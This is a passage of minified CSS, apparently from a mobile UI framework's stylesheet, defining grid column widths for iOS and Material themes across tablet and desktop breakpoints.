15px*14)/ 15)}.ios .row.no-gap .col:nth-last-child(15),.ios .row.no-gap .col:nth-last-child(15)~.col{width:6.66666667%}.ios .row .col:nth-last-child(16),.ios .row .col:nth-last-child(16)~.col{width:6.25%;width:calc((100% - 15px*15)/ 16)}.ios .row.no-gap .col:nth-last-child(16),.ios .row.no-gap .col:nth-last-child(16)~.col{width:6.25%}.ios .row .col:nth-last-child(17),.ios .row .col:nth-last-child(17)~.col{width:5.88235294%;width:calc((100% - 15px*16)/ 17)}.ios .row.no-gap .col:nth-last-child(17),.ios .row.no-gap .col:nth-last-child(17)~.col{width:5.88235294%}.ios .row .col:nth-last-child(18),.ios .row .col:nth-last-child(18)~.col{width:5.55555556%;width:calc((100% - 15px*17)/ 18)}.ios .row.no-gap .col:nth-last-child(18),.ios .row.no-gap .col:nth-last-child(18)~.col{width:5.55555556%}.ios .row .col:nth-last-child(19),.ios .row .col:nth-last-child(19)~.col{width:5.26315789%;width:calc((100% - 15px*18)/ 19)}.ios .row.no-gap .col:nth-last-child(19),.ios .row.no-gap .col:nth-last-child(19)~.col{width:5.26315789%}.ios .row .col:nth-last-child(20),.ios .row .col:nth-last-child(20)~.col{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .col:nth-last-child(20),.ios .row.no-gap .col:nth-last-child(20)~.col{width:5%}.ios .row .col:nth-last-child(21),.ios .row .col:nth-last-child(21)~.col{width:4.76190476%;width:calc((100% - 15px*20)/ 21)}.ios .row.no-gap .col:nth-last-child(21),.ios .row.no-gap .col:nth-last-child(21)~.col{width:4.76190476%}@media (min-width:768px){.ios .row .tablet-100{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .tablet-100{width:100%}.ios .row .tablet-95{width:95%;width:calc((100% - 15px*.05263157894736836)/ 1.0526315789473684)}.ios .row.no-gap .tablet-95{width:95%}.ios .row .tablet-90{width:90%;width:calc((100% - 15px*.11111111111111116)/ 1.1111111111111112)}.ios .row.no-gap .tablet-90{width:90%}.ios .row .tablet-85{width:85%;width:calc((100% - 15px*.17647058823529416)/ 1.1764705882352942)}.ios .row.no-gap .tablet-85{width:85%}.ios .row .tablet-80{width:80%;width:calc((100% - 15px*.25)/ 1.25)}.ios .row.no-gap .tablet-80{width:80%}.ios .row .tablet-75{width:75%;width:calc((100% - 15px*.33333333333333326)/ 1.3333333333333333)}.ios .row.no-gap .tablet-75{width:75%}.ios .row .tablet-70{width:70%;width:calc((100% - 15px*.4285714285714286)/ 1.4285714285714286)}.ios .row.no-gap .tablet-70{width:70%}.ios .row .tablet-66{width:66.66666666666666%;width:calc((100% - 15px*.5000000000000002)/ 1.5000000000000002)}.ios .row.no-gap .tablet-66{width:66.66666666666666%}.ios .row .tablet-65{width:65%;width:calc((100% - 15px*.5384615384615385)/ 1.5384615384615385)}.ios .row.no-gap .tablet-65{width:65%}.ios .row .tablet-60{width:60%;width:calc((100% - 15px*.6666666666666667)/ 1.6666666666666667)}.ios .row.no-gap .tablet-60{width:60%}.ios .row .tablet-55{width:55%;width:calc((100% - 15px*.8181818181818181)/ 1.8181818181818181)}.ios .row.no-gap .tablet-55{width:55%}.ios .row .tablet-50{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .tablet-50{width:50%}.ios .row .tablet-45{width:45%;width:calc((100% - 15px*1.2222222222222223)/ 2.2222222222222223)}.ios .row.no-gap .tablet-45{width:45%}.ios .row .tablet-40{width:40%;width:calc((100% - 15px*1.5)/ 2.5)}.ios .row.no-gap .tablet-40{width:40%}.ios .row .tablet-35{width:35%;width:calc((100% - 15px*1.8571428571428572)/ 2.857142857142857)}.ios .row.no-gap .tablet-35{width:35%}.ios .row .tablet-33{width:33.333333333333336%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .tablet-33{width:33.333333333333336%}.ios .row .tablet-30{width:30%;width:calc((100% - 15px*2.3333333333333335)/ 3.3333333333333335)}.ios .row.no-gap .tablet-30{width:30%}.ios .row .tablet-25{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .tablet-25{width:25%}.ios .row .tablet-20{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .tablet-20{width:20%}.ios .row .tablet-15{width:15%;width:calc((100% - 15px*5.666666666666667)/ 6.666666666666667)}.ios .row.no-gap .tablet-15{width:15%}.ios .row .tablet-10{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .tablet-10{width:10%}.ios .row .tablet-5{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .tablet-5{width:5%}.ios .row .tablet-auto:nth-last-child(1),.ios .row .tablet-auto:nth-last-child(1)~.tablet-auto{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .tablet-auto:nth-last-child(1),.ios .row.no-gap .tablet-auto:nth-last-child(1)~.tablet-auto{width:100%}.ios .row .tablet-auto:nth-last-child(2),.ios .row .tablet-auto:nth-last-child(2)~.tablet-auto{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .tablet-auto:nth-last-child(2),.ios .row.no-gap .tablet-auto:nth-last-child(2)~.tablet-auto{width:50%}.ios .row .tablet-auto:nth-last-child(3),.ios .row .tablet-auto:nth-last-child(3)~.tablet-auto{width:33.33333333%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .tablet-auto:nth-last-child(3),.ios .row.no-gap .tablet-auto:nth-last-child(3)~.tablet-auto{width:33.33333333%}.ios .row .tablet-auto:nth-last-child(4),.ios .row .tablet-auto:nth-last-child(4)~.tablet-auto{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .tablet-auto:nth-last-child(4),.ios .row.no-gap .tablet-auto:nth-last-child(4)~.tablet-auto{width:25%}.ios .row .tablet-auto:nth-last-child(5),.ios .row .tablet-auto:nth-last-child(5)~.tablet-auto{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .tablet-auto:nth-last-child(5),.ios .row.no-gap .tablet-auto:nth-last-child(5)~.tablet-auto{width:20%}.ios .row .tablet-auto:nth-last-child(6),.ios .row .tablet-auto:nth-last-child(6)~.tablet-auto{width:16.66666667%;width:calc((100% - 15px*5)/ 6)}.ios .row.no-gap .tablet-auto:nth-last-child(6),.ios .row.no-gap .tablet-auto:nth-last-child(6)~.tablet-auto{width:16.66666667%}.ios .row .tablet-auto:nth-last-child(7),.ios .row .tablet-auto:nth-last-child(7)~.tablet-auto{width:14.28571429%;width:calc((100% - 15px*6)/ 7)}.ios .row.no-gap .tablet-auto:nth-last-child(7),.ios .row.no-gap .tablet-auto:nth-last-child(7)~.tablet-auto{width:14.28571429%}.ios .row .tablet-auto:nth-last-child(8),.ios .row .tablet-auto:nth-last-child(8)~.tablet-auto{width:12.5%;width:calc((100% - 15px*7)/ 8)}.ios .row.no-gap .tablet-auto:nth-last-child(8),.ios .row.no-gap .tablet-auto:nth-last-child(8)~.tablet-auto{width:12.5%}.ios .row .tablet-auto:nth-last-child(9),.ios .row .tablet-auto:nth-last-child(9)~.tablet-auto{width:11.11111111%;width:calc((100% - 15px*8)/ 9)}.ios .row.no-gap .tablet-auto:nth-last-child(9),.ios .row.no-gap .tablet-auto:nth-last-child(9)~.tablet-auto{width:11.11111111%}.ios .row .tablet-auto:nth-last-child(10),.ios .row .tablet-auto:nth-last-child(10)~.tablet-auto{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .tablet-auto:nth-last-child(10),.ios .row.no-gap .tablet-auto:nth-last-child(10)~.tablet-auto{width:10%}.ios .row .tablet-auto:nth-last-child(11),.ios .row .tablet-auto:nth-last-child(11)~.tablet-auto{width:9.09090909%;width:calc((100% - 15px*10)/ 11)}.ios .row.no-gap .tablet-auto:nth-last-child(11),.ios .row.no-gap .tablet-auto:nth-last-child(11)~.tablet-auto{width:9.09090909%}.ios .row .tablet-auto:nth-last-child(12),.ios .row .tablet-auto:nth-last-child(12)~.tablet-auto{width:8.33333333%;width:calc((100% - 15px*11)/ 12)}.ios .row.no-gap .tablet-auto:nth-last-child(12),.ios .row.no-gap .tablet-auto:nth-last-child(12)~.tablet-auto{width:8.33333333%}.ios .row .tablet-auto:nth-last-child(13),.ios .row .tablet-auto:nth-last-child(13)~.tablet-auto{width:7.69230769%;width:calc((100% - 15px*12)/ 13)}.ios .row.no-gap .tablet-auto:nth-last-child(13),.ios .row.no-gap .tablet-auto:nth-last-child(13)~.tablet-auto{width:7.69230769%}.ios .row .tablet-auto:nth-last-child(14),.ios .row .tablet-auto:nth-last-child(14)~.tablet-auto{width:7.14285714%;width:calc((100% - 15px*13)/ 14)}.ios .row.no-gap .tablet-auto:nth-last-child(14),.ios .row.no-gap .tablet-auto:nth-last-child(14)~.tablet-auto{width:7.14285714%}.ios .row .tablet-auto:nth-last-child(15),.ios .row .tablet-auto:nth-last-child(15)~.tablet-auto{width:6.66666667%;width:calc((100% - 15px*14)/ 15)}.ios .row.no-gap .tablet-auto:nth-last-child(15),.ios .row.no-gap .tablet-auto:nth-last-child(15)~.tablet-auto{width:6.66666667%}.ios .row .tablet-auto:nth-last-child(16),.ios .row .tablet-auto:nth-last-child(16)~.tablet-auto{width:6.25%;width:calc((100% - 15px*15)/ 16)}.ios .row.no-gap .tablet-auto:nth-last-child(16),.ios .row.no-gap .tablet-auto:nth-last-child(16)~.tablet-auto{width:6.25%}.ios .row .tablet-auto:nth-last-child(17),.ios .row .tablet-auto:nth-last-child(17)~.tablet-auto{width:5.88235294%;width:calc((100% - 15px*16)/ 17)}.ios .row.no-gap .tablet-auto:nth-last-child(17),.ios .row.no-gap .tablet-auto:nth-last-child(17)~.tablet-auto{width:5.88235294%}.ios .row .tablet-auto:nth-last-child(18),.ios .row .tablet-auto:nth-last-child(18)~.tablet-auto{width:5.55555556%;width:calc((100% - 15px*17)/ 18)}.ios .row.no-gap .tablet-auto:nth-last-child(18),.ios .row.no-gap .tablet-auto:nth-last-child(18)~.tablet-auto{width:5.55555556%}.ios .row .tablet-auto:nth-last-child(19),.ios .row .tablet-auto:nth-last-child(19)~.tablet-auto{width:5.26315789%;width:calc((100% - 15px*18)/ 19)}.ios .row.no-gap .tablet-auto:nth-last-child(19),.ios .row.no-gap .tablet-auto:nth-last-child(19)~.tablet-auto{width:5.26315789%}.ios .row .tablet-auto:nth-last-child(20),.ios .row .tablet-auto:nth-last-child(20)~.tablet-auto{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .tablet-auto:nth-last-child(20),.ios .row.no-gap .tablet-auto:nth-last-child(20)~.tablet-auto{width:5%}.ios .row .tablet-auto:nth-last-child(21),.ios .row .tablet-auto:nth-last-child(21)~.tablet-auto{width:4.76190476%;width:calc((100% - 15px*20)/ 21)}.ios .row.no-gap .tablet-auto:nth-last-child(21),.ios .row.no-gap .tablet-auto:nth-last-child(21)~.tablet-auto{width:4.76190476%}}@media (min-width:1025px){.ios .row .desktop-100{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .desktop-100{width:100%}.ios .row .desktop-95{width:95%;width:calc((100% - 15px*.05263157894736836)/ 1.0526315789473684)}.ios .row.no-gap .desktop-95{width:95%}.ios .row .desktop-90{width:90%;width:calc((100% - 15px*.11111111111111116)/ 1.1111111111111112)}.ios .row.no-gap .desktop-90{width:90%}.ios .row .desktop-85{width:85%;width:calc((100% - 15px*.17647058823529416)/ 1.1764705882352942)}.ios .row.no-gap .desktop-85{width:85%}.ios .row .desktop-80{width:80%;width:calc((100% - 15px*.25)/ 1.25)}.ios .row.no-gap .desktop-80{width:80%}.ios .row .desktop-75{width:75%;width:calc((100% - 15px*.33333333333333326)/ 1.3333333333333333)}.ios .row.no-gap .desktop-75{width:75%}.ios .row .desktop-70{width:70%;width:calc((100% - 15px*.4285714285714286)/ 1.4285714285714286)}.ios .row.no-gap .desktop-70{width:70%}.ios .row .desktop-66{width:66.66666666666666%;width:calc((100% - 15px*.5000000000000002)/ 1.5000000000000002)}.ios .row.no-gap .desktop-66{width:66.66666666666666%}.ios .row .desktop-65{width:65%;width:calc((100% - 15px*.5384615384615385)/ 1.5384615384615385)}.ios .row.no-gap .desktop-65{width:65%}.ios .row .desktop-60{width:60%;width:calc((100% - 15px*.6666666666666667)/ 1.6666666666666667)}.ios .row.no-gap .desktop-60{width:60%}.ios .row .desktop-55{width:55%;width:calc((100% - 15px*.8181818181818181)/ 1.8181818181818181)}.ios .row.no-gap .desktop-55{width:55%}.ios .row .desktop-50{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .desktop-50{width:50%}.ios .row .desktop-45{width:45%;width:calc((100% - 15px*1.2222222222222223)/ 2.2222222222222223)}.ios .row.no-gap .desktop-45{width:45%}.ios .row .desktop-40{width:40%;width:calc((100% - 15px*1.5)/ 2.5)}.ios .row.no-gap .desktop-40{width:40%}.ios .row .desktop-35{width:35%;width:calc((100% - 15px*1.8571428571428572)/ 2.857142857142857)}.ios .row.no-gap .desktop-35{width:35%}.ios .row .desktop-33{width:33.333333333333336%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .desktop-33{width:33.333333333333336%}.ios .row .desktop-30{width:30%;width:calc((100% - 15px*2.3333333333333335)/ 3.3333333333333335)}.ios .row.no-gap .desktop-30{width:30%}.ios .row .desktop-25{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .desktop-25{width:25%}.ios .row .desktop-20{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .desktop-20{width:20%}.ios .row .desktop-15{width:15%;width:calc((100% - 15px*5.666666666666667)/ 6.666666666666667)}.ios .row.no-gap .desktop-15{width:15%}.ios .row .desktop-10{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .desktop-10{width:10%}.ios .row .desktop-5{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .desktop-5{width:5%}.ios .row .desktop-auto:nth-last-child(1),.ios .row .desktop-auto:nth-last-child(1)~.desktop-auto{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .desktop-auto:nth-last-child(1),.ios .row.no-gap .desktop-auto:nth-last-child(1)~.desktop-auto{width:100%}.ios .row .desktop-auto:nth-last-child(2),.ios .row .desktop-auto:nth-last-child(2)~.desktop-auto{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .desktop-auto:nth-last-child(2),.ios .row.no-gap .desktop-auto:nth-last-child(2)~.desktop-auto{width:50%}.ios .row .desktop-auto:nth-last-child(3),.ios .row .desktop-auto:nth-last-child(3)~.desktop-auto{width:33.33333333%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .desktop-auto:nth-last-child(3),.ios .row.no-gap .desktop-auto:nth-last-child(3)~.desktop-auto{width:33.33333333%}.ios .row .desktop-auto:nth-last-child(4),.ios .row .desktop-auto:nth-last-child(4)~.desktop-auto{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .desktop-auto:nth-last-child(4),.ios .row.no-gap .desktop-auto:nth-last-child(4)~.desktop-auto{width:25%}.ios .row .desktop-auto:nth-last-child(5),.ios .row .desktop-auto:nth-last-child(5)~.desktop-auto{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .desktop-auto:nth-last-child(5),.ios .row.no-gap .desktop-auto:nth-last-child(5)~.desktop-auto{width:20%}.ios .row .desktop-auto:nth-last-child(6),.ios .row .desktop-auto:nth-last-child(6)~.desktop-auto{width:16.66666667%;width:calc((100% - 15px*5)/ 6)}.ios .row.no-gap .desktop-auto:nth-last-child(6),.ios .row.no-gap .desktop-auto:nth-last-child(6)~.desktop-auto{width:16.66666667%}.ios .row .desktop-auto:nth-last-child(7),.ios .row .desktop-auto:nth-last-child(7)~.desktop-auto{width:14.28571429%;width:calc((100% - 15px*6)/ 7)}.ios .row.no-gap .desktop-auto:nth-last-child(7),.ios .row.no-gap .desktop-auto:nth-last-child(7)~.desktop-auto{width:14.28571429%}.ios .row .desktop-auto:nth-last-child(8),.ios .row .desktop-auto:nth-last-child(8)~.desktop-auto{width:12.5%;width:calc((100% - 15px*7)/ 8)}.ios .row.no-gap .desktop-auto:nth-last-child(8),.ios .row.no-gap .desktop-auto:nth-last-child(8)~.desktop-auto{width:12.5%}.ios .row .desktop-auto:nth-last-child(9),.ios .row .desktop-auto:nth-last-child(9)~.desktop-auto{width:11.11111111%;width:calc((100% - 15px*8)/ 9)}.ios .row.no-gap .desktop-auto:nth-last-child(9),.ios .row.no-gap .desktop-auto:nth-last-child(9)~.desktop-auto{width:11.11111111%}.ios .row .desktop-auto:nth-last-child(10),.ios .row .desktop-auto:nth-last-child(10)~.desktop-auto{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .desktop-auto:nth-last-child(10),.ios .row.no-gap .desktop-auto:nth-last-child(10)~.desktop-auto{width:10%}.ios .row .desktop-auto:nth-last-child(11),.ios .row .desktop-auto:nth-last-child(11)~.desktop-auto{width:9.09090909%;width:calc((100% - 15px*10)/ 11)}.ios .row.no-gap .desktop-auto:nth-last-child(11),.ios .row.no-gap .desktop-auto:nth-last-child(11)~.desktop-auto{width:9.09090909%}.ios .row .desktop-auto:nth-last-child(12),.ios .row .desktop-auto:nth-last-child(12)~.desktop-auto{width:8.33333333%;width:calc((100% - 15px*11)/ 12)}.ios .row.no-gap .desktop-auto:nth-last-child(12),.ios .row.no-gap .desktop-auto:nth-last-child(12)~.desktop-auto{width:8.33333333%}.ios .row .desktop-auto:nth-last-child(13),.ios .row .desktop-auto:nth-last-child(13)~.desktop-auto{width:7.69230769%;width:calc((100% - 15px*12)/ 13)}.ios .row.no-gap .desktop-auto:nth-last-child(13),.ios .row.no-gap .desktop-auto:nth-last-child(13)~.desktop-auto{width:7.69230769%}.ios .row .desktop-auto:nth-last-child(14),.ios .row .desktop-auto:nth-last-child(14)~.desktop-auto{width:7.14285714%;width:calc((100% - 15px*13)/ 14)}.ios .row.no-gap .desktop-auto:nth-last-child(14),.ios .row.no-gap .desktop-auto:nth-last-child(14)~.desktop-auto{width:7.14285714%}.ios .row .desktop-auto:nth-last-child(15),.ios .row .desktop-auto:nth-last-child(15)~.desktop-auto{width:6.66666667%;width:calc((100% - 15px*14)/ 15)}.ios .row.no-gap .desktop-auto:nth-last-child(15),.ios .row.no-gap .desktop-auto:nth-last-child(15)~.desktop-auto{width:6.66666667%}.ios .row .desktop-auto:nth-last-child(16),.ios .row .desktop-auto:nth-last-child(16)~.desktop-auto{width:6.25%;width:calc((100% - 15px*15)/ 16)}.ios .row.no-gap .desktop-auto:nth-last-child(16),.ios .row.no-gap .desktop-auto:nth-last-child(16)~.desktop-auto{width:6.25%}.ios .row .desktop-auto:nth-last-child(17),.ios .row .desktop-auto:nth-last-child(17)~.desktop-auto{width:5.88235294%;width:calc((100% - 15px*16)/ 17)}.ios .row.no-gap .desktop-auto:nth-last-child(17),.ios .row.no-gap .desktop-auto:nth-last-child(17)~.desktop-auto{width:5.88235294%}.ios .row .desktop-auto:nth-last-child(18),.ios .row .desktop-auto:nth-last-child(18)~.desktop-auto{width:5.55555556%;width:calc((100% - 15px*17)/ 18)}.ios .row.no-gap .desktop-auto:nth-last-child(18),.ios .row.no-gap .desktop-auto:nth-last-child(18)~.desktop-auto{width:5.55555556%}.ios .row .desktop-auto:nth-last-child(19),.ios .row .desktop-auto:nth-last-child(19)~.desktop-auto{width:5.26315789%;width:calc((100% - 15px*18)/ 19)}.ios .row.no-gap .desktop-auto:nth-last-child(19),.ios .row.no-gap .desktop-auto:nth-last-child(19)~.desktop-auto{width:5.26315789%}.ios .row .desktop-auto:nth-last-child(20),.ios .row .desktop-auto:nth-last-child(20)~.desktop-auto{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .desktop-auto:nth-last-child(20),.ios .row.no-gap .desktop-auto:nth-last-child(20)~.desktop-auto{width:5%}.ios .row .desktop-auto:nth-last-child(21),.ios .row .desktop-auto:nth-last-child(21)~.desktop-auto{width:4.76190476%;width:calc((100% - 15px*20)/ 21)}.ios .row.no-gap .desktop-auto:nth-last-child(21),.ios .row.no-gap .desktop-auto:nth-last-child(21)~.desktop-auto{width:4.76190476%}}.md .row .col-100{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .col-100{width:100%}.md .row .col-95{width:95%;width:calc((100% - 16px*.05263157894736836)/ 1.0526315789473684)}.md .row.no-gap .col-95{width:95%}.md .row .col-90{width:90%;width:calc((100% - 16px*.11111111111111116)/ 1.1111111111111112)}.md .row.no-gap .col-90{width:90%}.md .row .col-85{width:85%;width:calc((100% - 16px*.17647058823529416)/ 1.1764705882352942)}.md .row.no-gap .col-85{width:85%}.md .row .col-80{width:80%;width:calc((100% - 16px*.25)/ 1.25)}.md .row.no-gap .col-80{width:80%}.md .row .col-75{width:75%;width:calc((100% - 16px*.33333333333333326)/ 1.3333333333333333)}.md .row.no-gap .col-75{width:75%}.md .row .col-70{width:70%;width:calc((100% - 16px*.4285714285714286)/ 1.4285714285714286)}.md .row.no-gap .col-70{width:70%}.md .row .col-66{width:66.66666666666666%;width:calc((100% - 16px*.5000000000000002)/ 1.5000000000000002)}.md .row.no-gap .col-66{width:66.66666666666666%}.md .row .col-65{width:65%;width:calc((100% - 16px*.5384615384615385)/ 1.5384615384615385)}.md .row.no-gap .col-65{width:65%}.md .row .col-60{width:60%;width:calc((100% - 16px*.6666666666666667)/ 1.6666666666666667)}.md .row.no-gap .col-60{width:60%}.md .row .col-55{width:55%;width:calc((100% - 16px*.8181818181818181)/ 1.8181818181818181)}.md .row.no-gap .col-55{width:55%}.md .row .col-50{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .col-50{width:50%}.md .row .col-45{width:45%;width:calc((100% - 16px*1.2222222222222223)/ 2.2222222222222223)}.md .row.no-gap .col-45{width:45%}.md .row .col-40{width:40%;width:calc((100% - 16px*1.5)/ 2.5)}.md .row.no-gap .col-40{width:40%}.md .row .col-35{width:35%;width:calc((100% - 16px*1.8571428571428572)/ 2.857142857142857)}.md .row.no-gap .col-35{width:35%}.md .row .col-33{width:33.333333333333336%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .col-33{width:33.333333333333336%}.md .row .col-30{width:30%;width:calc((100% - 16px*2.3333333333333335)/ 3.3333333333333335)}.md .row.no-gap .col-30{width:30%}.md .row .col-25{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .col-25{width:25%}.md .row .col-20{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .col-20{width:20%}.md .row .col-15{width:15%;width:calc((100% - 16px*5.666666666666667)/ 6.666666666666667)}.md .row.no-gap .col-15{width:15%}.md .row .col-10{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .col-10{width:10%}.md .row .col-5{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .col-5{width:5%}.md .row .col:nth-last-child(1),.md .row .col:nth-last-child(1)~.col{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .col:nth-last-child(1),.md .row.no-gap .col:nth-last-child(1)~.col{width:100%}.md .row .col:nth-last-child(2),.md .row .col:nth-last-child(2)~.col{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .col:nth-last-child(2),.md .row.no-gap .col:nth-last-child(2)~.col{width:50%}.md .row .col:nth-last-child(3),.md .row .col:nth-last-child(3)~.col{width:33.33333333%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .col:nth-last-child(3),.md .row.no-gap .col:nth-last-child(3)~.col{width:33.33333333%}.md .row .col:nth-last-child(4),.md .row .col:nth-last-child(4)~.col{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .col:nth-last-child(4),.md .row.no-gap .col:nth-last-child(4)~.col{width:25%}.md .row .col:nth-last-child(5),.md .row .col:nth-last-child(5)~.col{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .col:nth-last-child(5),.md .row.no-gap .col:nth-last-child(5)~.col{width:20%}.md .row .col:nth-last-child(6),.md .row .col:nth-last-child(6)~.col{width:16.66666667%;width:calc((100% - 16px*5)/ 6)}.md .row.no-gap .col:nth-last-child(6),.md .row.no-gap .col:nth-last-child(6)~.col{width:16.66666667%}.md .row .col:nth-last-child(7),.md .row .col:nth-last-child(7)~.col{width:14.28571429%;width:calc((100% - 16px*6)/ 7)}.md .row.no-gap .col:nth-last-child(7),.md .row.no-gap .col:nth-last-child(7)~.col{width:14.28571429%}.md .row .col:nth-last-child(8),.md .row .col:nth-last-child(8)~.col{width:12.5%;width:calc((100% - 16px*7)/ 8)}.md .row.no-gap .col:nth-last-child(8),.md .row.no-gap .col:nth-last-child(8)~.col{width:12.5%}.md .row .col:nth-last-child(9),.md .row .col:nth-last-child(9)~.col{width:11.11111111%;width:calc((100% - 16px*8)/ 9)}.md .row.no-gap .col:nth-last-child(9),.md .row.no-gap .col:nth-last-child(9)~.col{width:11.11111111%}.md .row .col:nth-last-child(10),.md .row .col:nth-last-child(10)~.col{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .col:nth-last-child(10),.md .row.no-gap .col:nth-last-child(10)~.col{width:10%}.md .row .col:nth-last-child(11),.md .row .col:nth-last-child(11)~.col{width:9.09090909%;width:calc((100% - 16px*10)/ 11)}.md .row.no-gap .col:nth-last-child(11),.md .row.no-gap .col:nth-last-child(11)~.col{width:9.09090909%}.md .row .col:nth-last-child(12),.md .row .col:nth-last-child(12)~.col{width:8.33333333%;width:calc((100% - 16px*11)/ 12)}.md .row.no-gap .col:nth-last-child(12),.md .row.no-gap .col:nth-last-child(12)~.col{width:8.33333333%}.md .row .col:nth-last-child(13),.md .row .col:nth-last-child(13)~.col{width:7.69230769%;width:calc((100% - 16px*12)/ 13)}.md .row.no-gap .col:nth-last-child(13),.md .row.no-gap .col:nth-last-child(13)~.col{width:7.69230769%}.md .row .col:nth-last-child(14),.md .row .col:nth-last-child(14)~.col{width:7.14285714%;width:calc((100% - 16px*13)/ 14)}.md .row.no-gap .col:nth-last-child(14),.md .row.no-gap .col:nth-last-child(14)~.col{width:7.14285714%}.md .row .col:nth-last-child(15),.md .row .col:nth-last-child(15)~.col{width:6.66666667%;width:calc((100% - 16px*14)/ 15)}.md .row.no-gap .col:nth-last-child(15),.md .row.no-gap .col:nth-last-child(15)~.col{width:6.66666667%}.md .row .col:nth-last-child(16),.md .row .col:nth-last-child(16)~.col{width:6.25%;width:calc((100% - 16px*15)/ 16)}.md .row.no-gap .col:nth-last-child(16),.md .row.no-gap .col:nth-last-child(16)~.col{width:6.25%}.md .row .col:nth-last-child(17),.md .row .col:nth-last-child(17)~.col{width:5.88235294%;width:calc((100% - 16px*16)/ 17)}.md .row.no-gap .col:nth-last-child(17),.md .row.no-gap .col:nth-last-child(17)~.col{width:5.88235294%}.md .row .col:nth-last-child(18),.md .row .col:nth-last-child(18)~.col{width:5.55555556%;width:calc((100% - 16px*17)/ 18)}.md .row.no-gap .col:nth-last-child(18),.md .row.no-gap .col:nth-last-child(18)~.col{width:5.55555556%}.md .row .col:nth-last-child(19),.md .row .col:nth-last-child(19)~.col{width:5.26315789%;width:calc((100% - 16px*18)/ 19)}.md .row.no-gap .col:nth-last-child(19),.md .row.no-gap .col:nth-last-child(19)~.col{width:5.26315789%}.md .row .col:nth-last-child(20),.md .row .col:nth-last-child(20)~.col{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .col:nth-last-child(20),.md .row.no-gap .col:nth-last-child(20)~.col{width:5%}.md .row .col:nth-last-child(21),.md .row .col:nth-last-child(21)~.col{width:4.76190476%;width:calc((100% - 16px*20)/ 21)}.md .row.no-gap .col:nth-last-child(21),.md .row.no-gap .col:nth-last-child(21)~.col{width:4.76190476%}@media (min-width:768px){.md .row .tablet-100{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .tablet-100{width:100%}.md .row .tablet-95{width:95%;width:calc((100% - 16px*.05263157894736836)/ 1.0526315789473684)}.md .row.no-gap .tablet-95{width:95%}.md .row .tablet-90{width:90%;width:calc((100% - 16px*.11111111111111116)/ 1.1111111111111112)}.md .row.no-gap .tablet-90{width:90%}.md .row .tablet-85{width:85%;width:calc((100% - 16px*.17647058823529416)/ 1.1764705882352942)}.md .row.no-gap .tablet-85{width:85%}.md .row .tablet-80{width:80%;width:calc((100% - 16px*.25)/ 1.25)}.md .row.no-gap .tablet-80{width:80%}.md .row .tablet-75{width:75%;width:calc((100% - 16px*.33333333333333326)/ 1.3333333333333333)}.md .row.no-gap .tablet-75{width:75%}.md .row .tablet-70{width:70%;width:calc((100% - 16px*.4285714285714286)/ 1.4285714285714286)}.md .row.no-gap .tablet-70{width:70%}.md .row .tablet-66{width:66.66666666666666%;width:calc((100% - 16px*.5000000000000002)/ 1.5000000000000002)}.md .row.no-gap .tablet-66{width:66.66666666666666%}.md .row .tablet-65{width:65%;width:calc((100% - 16px*.5384615384615385)/ 1.5384615384615385)}.md .row.no-gap .tablet-65{width:65%}.md .row .tablet-60{width:60%;width:calc((100% - 16px*.6666666666666667)/ 1.6666666666666667)}.md .row.no-gap .tablet-60{width:60%}.md .row .tablet-55{width:55%;width:calc((100% - 16px*.8181818181818181)/ 1.8181818181818181)}.md .row.no-gap .tablet-55{width:55%}.md .row .tablet-50{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .tablet-50{width:50%}.md .row .tablet-45{width:45%;width:calc((100% - 16px*1.2222222222222223)/ 2.2222222222222223)}.md .row.no-gap .tablet-45{width:45%}.md .row .tablet-40{width:40%;width:calc((100% - 16px*1.5)/ 2.5)}.md .row.no-gap .tablet-40{width:40%}.md .row .tablet-35{width:35%;width:calc((100% - 